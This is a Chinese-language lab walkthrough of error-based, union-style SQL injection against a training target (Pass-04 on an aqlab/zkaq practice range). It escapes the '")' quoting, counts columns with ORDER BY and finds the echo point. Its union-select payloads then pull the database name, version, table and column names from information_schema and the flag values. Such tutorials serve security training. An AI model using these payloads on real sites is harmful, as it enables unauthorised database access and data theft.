显错注入(四)

时间:2024-04-11 21:19:45

显错注入(四)
注入环境:http://inject2.lab.aqlab.cn:81/Pass-04/index.php?id=1
SQL注入原理解析以及举例1
  sql注入是指web应用程序对用户输入数据的合法性没有判断,
导致攻击者可以构造不同的sql语句来实现对数据库的操作。
  sql注入漏洞产生满足条件:
    1;用户能够控制数据的输入。
    2;原本需要执行的代码,拼接了用户的输入。
 举例:
  注意:下面测试环境使用封神台免费靶场。可以从下面链接进入:https://hack.zkaq.org/?a=battle。
  攻击流程:
    1;判断是否存在sql注入漏洞。
    2;判断网页存在字段数。
    3;判断回显点。
    4;获取信息。
  测试开始:
    测试目标获取管理员账号密码
    一;判断是否存在sql注入漏洞。
没注入前
我们可以看到这个过滤,不仅加了双引号之外,还加了小括号

但是没事,我们一样像前面一样,把双引号闭合,小括号同理,也闭合

显错注入(四)

一、判断是否存在sql注入漏洞。

?id=1 " ) and 1=1 --+ 没有报错
?id=1 " ) and 1=2 --+ 查看页面是否正常。结果页面显示不正常。存在注入点。第一个单引号要跟前面的闭合 --+ 注释掉后面的双引号
显错注入(四)

二、判断网页存在字段数。

构建sql语句:?id=1 " ) order by 1 --+
判断网页是否正常
这里我们尝试到?id=1 " ) order by 4 --+ 报错
最后我们实验到有3段
显错注入(四)

3;判断回显点。

构建sql语句:?id=1 " ) and 1=2 union select 1,2,3 --+ (之后查询结果显示在下图红框位置)
显错注入(四)

4;获取信息。

?id=1 " ) and 1=2 union select 1,database(),version() --+
获取当前正在使用的数据库
和数据库版本
显错注入(四)
获取当前数据库表名
?id=1 " ) and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
注释:information_schema group_concat() table_name table_schema不懂的请看显错注入(一)
显错注入(一)
显错注入(四)
获取表的字段名(error_flag表)
?id=1 " ) and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘error_flag’ --+
注释:information_schema group_concat() table_name table_schema column_name
不懂的请看显错注入(一)
显错注入(一)
显错注入(四)

获取字段值

?id=1 " ) and 1=2 union select 1,group_concat(Id),group_concat(flag) from error_flag --+
显错注入(四)
获取值成功!!!